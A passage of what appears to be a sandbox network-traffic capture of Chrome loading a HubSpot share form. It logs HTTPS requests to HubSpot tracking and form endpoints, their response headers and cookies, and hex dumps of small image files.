2024-12-16 17:45:30 UTC	555	IN	Data Raw: 78 2d 61 6d 7a 2d 76 65 72 73 69 6f 6e 2d 69 64 3a 20 65 62 6b 56 78 42 64 66 50 68 6c 6f 73 6e 75 53 56 41 54 6d 75 36 64 30 4c 4d 79 55 7a 6f 59 73 0d 0a 58 2d 43 61 63 68 65 3a 20 4d 69 73 73 20 66 72 6f 6d 20 63 6c 6f 75 64 66 72 6f 6e 74 0d 0a 58 2d 48 53 2d 41 6c 74 65 72 6e 61 74 65 2d 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 74 65 78 74 2f 70 6c 61 69 6e 0d 0a 58 2d 48 53 2d 43 46 2d 4c 61 6d 62 64 61 3a 20 75 73 2d 65 61 73 74 2d 31 2e 45 6e 66 6f 72 63 65 41 63 6c 46 6f 72 52 65 61 64 73 20 33 0d 0a 58 2d 48 53 2d 43 46 2d 4c 61 6d 62 64 61 2d 45 6e 66 6f 72 63 65 3a 20 75 73 2d 65 61 73 74 2d 31 2e 45 6e 66 6f 72 63 65 41 63 6c 46 6f 72 52 65 61 64 73 20 33 0d 0a 58 2d 52 6f 62 6f 74 73 2d 54 61 67 3a 20 6e 6f 6e 65 0d 0a 53 65 74 2d 43 6f 6f Data Ascii: x-amz-version-id: ebkVxBdfPhlosnuSVATmu6d0LMyUzoYsX-Cache: Miss from cloudfrontX-HS-Alternate-Content-Type: text/plainX-HS-CF-Lambda: us-east-1.EnforceAclForReads 3X-HS-CF-Lambda-Enforce: us-east-1.EnforceAclForReads 3X-Robots-Tag: noneSet-Coo
2024-12-16 17:45:30 UTC	863	IN	Data Raw: 52 49 46 46 68 07 00 00 57 45 42 50 56 50 38 4c 5b 07 00 00 2f 0d 81 2e 00 6f c2 a8 b6 6d 25 b8 bb 24 21 1b 29 99 32 a3 83 cb b3 2f 35 1c 47 b6 ad 44 07 77 8f 82 14 c9 8d 10 58 11 03 5b 67 e6 7b e1 38 92 6d a5 3a b8 bb 44 43 2e ec c8 97 10 e0 cb ce ed 0a 36 ff e1 80 f6 3b 88 59 28 bb 72 32 20 84 77 9b 5e 9b 62 03 91 bb 62 ad 48 09 d6 4a cc e2 7d bf 40 90 fb 7e 53 76 05 82 90 12 20 c8 ff ff 03 41 be df cf f7 fb 21 25 be df 0f 4a c6 5a a1 64 20 08 29 81 92 91 12 28 19 66 cc 8b 4d c6 bd 68 19 f2 1e 53 3a 06 a2 c1 e5 67 16 95 4c f2 18 b6 1d 1c 01 ee 37 5a 67 47 82 6f e7 ee e1 43 b1 12 16 3b 77 3b 77 8c 42 d8 ce 1d c2 10 86 30 42 68 36 8c 32 db 26 c6 a7 d5 66 f2 3b 63 56 4a 97 41 53 c0 d0 c1 b2 c2 3c f5 9c b8 55 25 37 79 d3 82 45 6b db db b6 91 fe 8f 4c 30 0b Data Ascii: RIFFhWEBPVP8L[/.om%$!)2/5GDwX[g{8m:DC.6;Y(r2 w^bbHJ}@~Sv A!%JZd )(fMhS:gL7ZgGoC;w;wB0Bh62&f;cVJAS<U%7yEkL0
2024-12-16 17:45:30 UTC	1041	IN	Data Raw: 2e 04 1b 8e 2b d5 0a c7 9a a3 f4 ce 40 ba 21 76 50 b0 c6 8b 28 25 b6 f5 60 35 dc a4 01 14 5c 05 7b c9 a5 27 8a 99 5a 00 55 44 6e 09 b1 bd 86 35 98 56 e9 7c f0 1b ae ba 23 87 77 a2 86 0b 21 cc 44 1d b3 0b 20 2c 18 32 80 1a 98 45 09 d4 40 b4 6b 12 75 a2 90 99 95 c0 2e f1 b6 5c 0c a1 59 25 82 d5 9f 99 e6 8e dc 3e 93 e8 89 69 21 55 a3 40 13 5b 41 aa 17 a6 06 02 62 33 48 13 ca 02 00 27 52 0c b5 e1 29 d4 c4 34 10 f7 2b ec 20 ec 98 ee 6e 1c de 41 1a 13 9b 88 50 08 0c 17 8a b0 65 26 20 e5 02 91 fd 34 5e c7 10 f5 85 d1 de 4a 01 b1 89 2c 5b a1 94 d4 77 e8 f6 d3 53 51 ca ec 03 59 22 48 99 45 cb 36 cc 5e a1 64 66 ef ec 10 5b 8e c7 3a d1 6b c4 5c 28 8b 57 48 ef 85 db 9b 17 10 67 cc ec cb 22 41 c6 f4 4a 16 33 a4 b1 65 3a 9c 1f 0a 09 11 4d 55 e8 96 70 4a a6 56 30 f7 c1 Data Ascii: .+@!vP(%`5\{'ZUDn5V\|#w!D ,2E@ku.\Y%>i!U@[Ab3H'R)4+ nAPe& 4^J,[wSQY"HE6^df[:k\(WHg"AJ3e:MUpJV0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.17	49733	104.19.175.188	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:30 UTC	1082	OUT	GET /embed/v3/counters.gif?key=collected-forms-embed-js-form-bind&count=1 HTTP/1.1 Host: forms.hsforms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
2024-12-16 17:45:30 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:30 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 1 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 2e7a7f66-04da-45da-8cdb-504c5a04688d x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-dnfkd x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 2e7a7f66-04da-45da-8cdb-504c5a04688d CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307ccc2b970f81-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:45:30 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.17	49752	104.17.172.91	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:31 UTC	569	OUT	GET /StyleGuideUI/static-3.412/img/sprocket/favicon-32x32.png HTTP/1.1 Host: static.hsappstatic.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=TisDfS5EwCkPQO9w8G49nm2Q3wEv82zBmhpEfkJWsQI-1734371127-1.0.1.1-PNFKVZypApjTtVjs6mS_xRrMB9T1HEFhDH7z0CuKX4RHWpZAXaGqsF6zfpiqqvdiZ8.FyF.R4M2P0JXbYdtD9w
2024-12-16 17:45:31 UTC	1278	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:31 GMT Content-Type: image/png Content-Length: 706 Connection: close Cf-Bgj: imgq:85,h2pri Cf-Polished: origSize=1386 etag: "b29cd4fae32431fd350ffa1394aa4ee6" last-modified: Wed, 11 Dec 2024 17:37:25 GMT via: 1.1 2b2491fc3c8b84a7fd8dd41a09ba5510.cloudfront.net (CloudFront) x-amz-cf-id: Q8_Nq_wwmGwlCWrYeoREqRqX-JV7QuvJiwNMnTEhpL5cwvJjtElU4A== x-amz-cf-pop: BOS50-P4 x-amz-replication-status: COMPLETED x-amz-server-side-encryption: AES256 x-amz-version-id: m5BtXInt1MshKT3PP_DHy5f_9fvyzpVU x-cache: Miss from cloudfront CF-Cache-Status: HIT Age: 431291 Expires: Tue, 16 Dec 2025 17:45:31 GMT Cache-Control: public, max-age=31536000 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=SF6s3I3ipDHja%2BFC0V1%2Fi%2BqO3RgPPZSxsdLZ33g2oQEnmtr836iMW9yeG7IBN2lW9awuz2g0P4CpY1AE%2BZadgopqAtkJKYCIhC%2FZ4oGFmGT0MxTwrL%2FSBWgJAFutyUdtWXE3Qc1cYF0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=31536000; includeSubDomains; preload vary: Origin,Accept-Encoding,Access-Control-Request-Headers,Access-Control-Request-Method Server: cloudflare CF-RAY: 8f307cd32e398c57-EWR
2024-12-16 17:45:31 UTC	91	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba Data Ascii: PNGIHDR szzgAMAa cHRMz&u0`:p
2024-12-16 17:45:31 UTC	615	IN	Data Raw: 51 3c 00 00 02 4d 49 44 41 54 78 da dd d7 3b 68 53 51 1c c7 f1 c4 34 6d 24 a9 35 4a a4 bd 10 a1 e2 63 09 82 50 c5 88 d0 29 83 a0 82 8f c1 d0 c1 0a 56 27 41 c8 64 71 10 07 29 8a 48 27 a7 56 0a a5 43 83 f8 a8 e2 0b 1d 34 22 0e 56 ef 94 74 a8 38 28 4a d5 52 8a 12 cd a3 7f bf c3 19 0e 97 26 37 57 0f b6 f4 c2 87 0c f7 ff cf f9 25 e7 e4 9f c4 b7 ec 2e e9 4f fb 11 80 7f 29 16 df 88 0b 18 c3 00 b6 fd e5 0b 08 21 e8 b5 31 8a 3b 10 cd 73 58 1e 9e a3 15 19 3c 41 16 29 f8 1b 6d 3e 8c 5f 10 4d 05 69 0f 01 ce a2 0c 51 a6 91 68 b4 f9 38 aa 10 87 4c 83 fd cd b8 0b d1 2c a0 b7 d1 00 9d b0 21 0e 53 38 84 80 4b ff 2a dc 80 68 8a 38 e8 e5 1c 74 e3 11 a6 f1 12 ef 21 98 45 3f 5a 5d fa 93 c8 6b db 37 82 36 af 87 31 82 38 d6 a0 0b cf b0 80 12 46 d1 e9 d2 7f 52 db ff 4d 26 3e 9a Data Ascii: Q<MIDATx;hSQ4m$5JcP)V'Adq)H'VC4"Vt8(JR&7W%.O)!1;sX<A)m>_MiQh8L,!S8K*h8t!E?Z]k7618FRM&>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.17	49754	104.18.80.204	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:31 UTC	1081	OUT	GET /embed/v3/counters.gif?key=forms-embed-v3-RENDER_SUCCESS&count=1 HTTP/1.1 Host: forms-na1.hsforms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=2kX8QfunqwBj5Tg9aNqIJ.XAN4BdBj5osOpmNCTyY_s-1734371123-1.0.1.1-WZrRM0BIO6Fuog5205Wir82ntMamI2GHoVjIwoGCRnSO0.NZAH6U72fafrjwOqcX_.2wq7wW.ySIg6zQpyx2Rw; _cfuvid=3Jvz8urGIUIs7njpsFJUKB5ts6qBsu_jCHNuf80AIcU-1734371123729-0.0.1.1-604800000; __hstc=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1; hubspotutk=f969d8b384270839a01465c358727fa6; __hssrc=1; __hssc=251652889.1.1734371126848
2024-12-16 17:45:31 UTC	904	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:31 GMT Content-Type: image/gif Content-Length: 35 Connection: close Cache-Control: max-age=0, no-cache, no-store vary: origin access-control-allow-credentials: false x-content-type-options: nosniff access-control-expose-headers: X-Origin-Hublet x-robots-tag: none x-envoy-upstream-service-time: 2 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 2b403211-b86b-44ac-be0c-93ed66439a5f x-evy-trace-served-by-pod: iad02/star-hubspot-td/envoy-proxy-b967ccf5d-b6qgf x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 2b403211-b86b-44ac-be0c-93ed66439a5f CF-Cache-Status: DYNAMIC Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8f307cd4397e7ca6-EWR alt-svc: h3=":443"; ma=86400
2024-12-16 17:45:31 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.17	49755	104.16.118.116	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:31 UTC	1076	OUT	GET /__ptq.gif?k=15&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ec27e9b1-af2a-4958-ae16-76515f29bf94&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371127337&vi=f969d8b384270839a01465c358727fa6&nc=true&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.1.1734371126848&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:31 UTC	1122	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:31 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8f307cd448b61a48-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 6 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-wkgqd x-evy-trace-virtual-host: all x-hubspot-correlation-id: b52cdd53-5eda-479f-b615-82b75ec38b8e x-request-id: b52cdd53-5eda-479f-b615-82b75ec38b8e x-robots-tag: none Set-Cookie: __cf_bm=0W8Xsisx4_GEmtSEmk4n4e7mNv6LA8oFX_Fuoncr7nw-1734371131-1.0.1.1-d_pCOkpE65R070J7LgYnXL9IC5c6ClSuli1Htx9TkVodc4BCqYY6bfoCb0MY2JqXX5GFAf3Qg23ZjToNJPlU0g; path=/; expires=Mon, 16-Dec-24 18:15:31 GMT; domain=.hubspot.com; HttpOnly; Secure; SameSite=None
2024-12-16 17:45:31 UTC	521	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 75 45 4e 68 62 7a 4d 4c 59 69 5a 66 75 73 6e 30 56 76 73 55 4c 72 4a 5a 62 31 75 41 79 55 48 25 32 42 4f 6b 25 32 46 30 25 32 46 59 47 45 25 32 46 70 74 63 39 65 42 32 25 32 46 50 4e 35 36 68 6d 6a 25 32 46 73 37 4d 6e 7a 4b 61 25 32 46 6c 75 4e 53 34 62 4a 6b 25 32 46 41 25 32 46 6e 51 4a 75 31 25 32 42 36 34 33 71 69 50 65 74 4b 73 76 71 56 51 73 5a 4a 31 37 50 33 38 47 6e 79 4f 6f 77 62 59 35 5a 4b 31 67 74 7a 46 31 5a 65 34 66 47 59 4f 6c 41 46 41 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=uENhbzMLYiZfusn0VvsULrJZb1uAyUH%2BOk%2F0%2FYGE%2Fptc9eB2%2FPN56hmj%2Fs7MnzKa%2FluNS4bJk%2FA%2FnQJu1%2B643qiPetKsvqVQsZJ17P38GnyOowbY5ZK1gtzF1Ze4fGYOlAFA"}],"group":"cf-nel","max
2024-12-16 17:45:31 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.17	49753	104.16.118.116	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:31 UTC	1076	OUT	GET /__ptq.gif?k=17&fi=096e77d0-b92b-4bcd-b505-f6de1cfdcbdb&fci=ec27e9b1-af2a-4958-ae16-76515f29bf94&ft=0&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371127362&vi=f969d8b384270839a01465c358727fa6&nc=true&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.1.1734371126848&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://share.hsforms.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:31 UTC	1122	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:31 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8f307cd44a8141ef-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 8 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-9fq2m x-evy-trace-virtual-host: all x-hubspot-correlation-id: 35c7ec14-ca62-442b-8096-582b6f83281e x-request-id: 35c7ec14-ca62-442b-8096-582b6f83281e x-robots-tag: none Set-Cookie: __cf_bm=VBFhnnAmN0SQY1p7gf3tiCqXptW3uYSOTqHMVCk43g0-1734371131-1.0.1.1-iZGKyADPzJZYUsywtJlAkPGXNoLg3vv7PgGAwB9ErwGjF27z3ebw7S_xLvP7XJ6VCUXybcod7zrwFurlKVLVcA; path=/; expires=Mon, 16-Dec-24 18:15:31 GMT; domain=.hubspot.com; HttpOnly; Secure; SameSite=None
2024-12-16 17:45:31 UTC	507	IN	Data Raw: 52 65 70 6f 72 74 2d 54 6f 3a 20 7b 22 65 6e 64 70 6f 69 6e 74 73 22 3a 5b 7b 22 75 72 6c 22 3a 22 68 74 74 70 73 3a 5c 2f 5c 2f 61 2e 6e 65 6c 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 5c 2f 72 65 70 6f 72 74 5c 2f 76 34 3f 73 3d 56 42 32 51 4d 54 52 4f 66 58 76 6e 32 5a 66 6e 65 57 35 6c 4b 48 54 57 6b 51 47 58 49 4e 79 47 33 4e 51 46 6f 33 39 32 6f 39 56 7a 74 63 38 70 70 46 66 72 38 31 6e 79 76 39 78 53 6e 42 67 25 32 46 4a 76 35 67 77 58 25 32 46 49 43 4c 71 63 4f 4b 72 44 35 6b 30 78 74 4a 46 62 46 6f 69 4f 46 4e 32 4a 4b 6a 37 62 51 79 6b 46 66 25 32 42 64 75 6d 58 34 59 68 69 78 58 63 38 41 67 46 51 74 6e 67 4d 55 38 75 35 62 67 22 7d 5d 2c 22 67 72 6f 75 70 22 3a 22 63 66 2d 6e 65 6c 22 2c 22 6d 61 78 5f 61 67 65 22 3a 36 30 34 38 30 30 7d 0d Data Ascii: Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VB2QMTROfXvn2ZfneW5lKHTWkQGXINyG3NQFo392o9Vztc8ppFfr81nyv9xSnBg%2FJv5gwX%2FICLqcOKrD5k0xtJFbFoiOFN2JKj7bQykFf%2BdumX4YhixXc8AgFQtngMU8u5bg"}],"group":"cf-nel","max_age":604800}
2024-12-16 17:45:31 UTC	45	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 40 08 04 00 01 04 04 00 3b Data Ascii: GIF89a!,@;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.17	49756	104.16.109.254	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:31 UTC	403	OUT	GET /collected-forms/v1/config/json?portalId=48192692&utk= HTTP/1.1 Host: forms.hscollectedforms.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-16 17:45:31 UTC	1132	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:31 GMT Content-Type: application/json;charset=utf-8 Content-Length: 134 Connection: close vary: Accept-Encoding Cache-Control: max-age=0 x-content-type-options: nosniff x-robots-tag: none access-control-allow-methods: GET, OPTIONS, PUT, POST, DELETE, PATCH, HEAD access-control-allow-headers: * access-control-max-age: 180 x-envoy-upstream-service-time: 3 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: 27493583-be34-4322-8994-16b0a3479092 x-evy-trace-served-by-pod: iad02/app-td/envoy-proxy-856d8787d5-fndvb x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: 27493583-be34-4322-8994-16b0a3479092 CF-Cache-Status: DYNAMIC Set-Cookie: __cf_bm=d1ASo8J1NnJGHYfSaRYq3M8CIed0HFFDaK2KNXYUH88-1734371131-1.0.1.1-Cx5JNvC.POCAHUuYwHduuoOfDgglCmo5B0OwtJ5A8WQqp0j2OpdC.lUyobF7qbdClyg1j6w_THNQKC6A8DKqNA; path=/; expires=Mon, 16-Dec-24 18:15:31 GMT; domain=.hscollectedforms.net; HttpOnly; Secure; SameSite=None Server: cloudflare CF-RAY: 8f307cd52f95c434-EWR
2024-12-16 17:45:31 UTC	134	IN	Data Raw: 7b 22 70 6f 72 74 61 6c 49 64 22 3a 34 38 31 39 32 36 39 32 2c 22 73 75 62 6d 69 73 73 69 6f 6e 73 41 70 69 44 6f 6d 61 69 6e 22 3a 22 66 6f 72 6d 73 2e 68 75 62 73 70 6f 74 2e 63 6f 6d 22 2c 22 72 65 70 6f 72 74 53 63 72 61 70 65 72 54 65 73 74 22 3a 66 61 6c 73 65 2c 22 66 6f 72 6d 43 61 70 74 75 72 65 45 6e 61 62 6c 65 64 22 3a 74 72 75 65 2c 22 74 6f 6b 65 6e 22 3a 31 37 34 32 30 37 34 33 33 7d Data Ascii: {"portalId":48192692,"submissionsApiDomain":"forms.hubspot.com","reportScraperTest":false,"formCaptureEnabled":true,"token":174207433}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.17	49757	104.16.117.116	443	7924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-16 17:45:31 UTC	1004	OUT	GET /__ptq.gif?k=1&sd=1280x1024&cd=24-bit&cs=UTF-8&ln=en-us&bfp=1366844671&v=1.1&a=48192692&ccu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&pu=https%3A%2F%2Fshare.hsforms.com%2F1CW530LkrS821BfbeHP3L2wsoxpw&t=Form&cts=1734371126855&vi=f969d8b384270839a01465c358727fa6&nc=true&u=251652889.f969d8b384270839a01465c358727fa6.1734371126848.1734371126848.1734371126848.1&b=251652889.1.1734371126848&cc=15 HTTP/1.1 Host: track.hubspot.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: __cf_bm=4ihQEUKPqo_ulTxS_vGBJUaNrx0_oGNwi1HxNQc8ZIo-1734371129-1.0.1.1-FKxNazbuWkvlN_rfzqMqV5kSsqId3OXZbeUdimBI.THNWOD8b_unLTjZGtzIEg_WSpC3lKWhOBj_.Qq2TsTyoA; _cfuvid=8GTh7N1f9kXHxOnnEDc1xNoh3pfUdUpgsiaVLWEqP8Q-1734371129944-0.0.1.1-604800000
2024-12-16 17:45:31 UTC	1207	IN	HTTP/1.1 200 OK Date: Mon, 16 Dec 2024 17:45:31 GMT Content-Type: image/gif Content-Length: 45 Connection: close CF-Ray: 8f307cd55a8178e1-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache, no-store, no-transform Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Vary: origin access-control-allow-credentials: false p3p: CP="NOI CUR ADM OUR NOR STA NID" x-content-type-options: nosniff x-envoy-upstream-service-time: 10 x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-evy-trace-route-service-name: envoyset-translator x-evy-trace-served-by-pod: iad02/analytics-tracking-td/envoy-proxy-c658cb6d4-59w5s x-evy-trace-virtual-host: all x-hubspot-correlation-id: 513a924e-2a05-4ddb-9d60-f9110092fdca x-request-id: 513a924e-2a05-4ddb-9d60-f9110092fdca x-robots-tag: none Report-To: 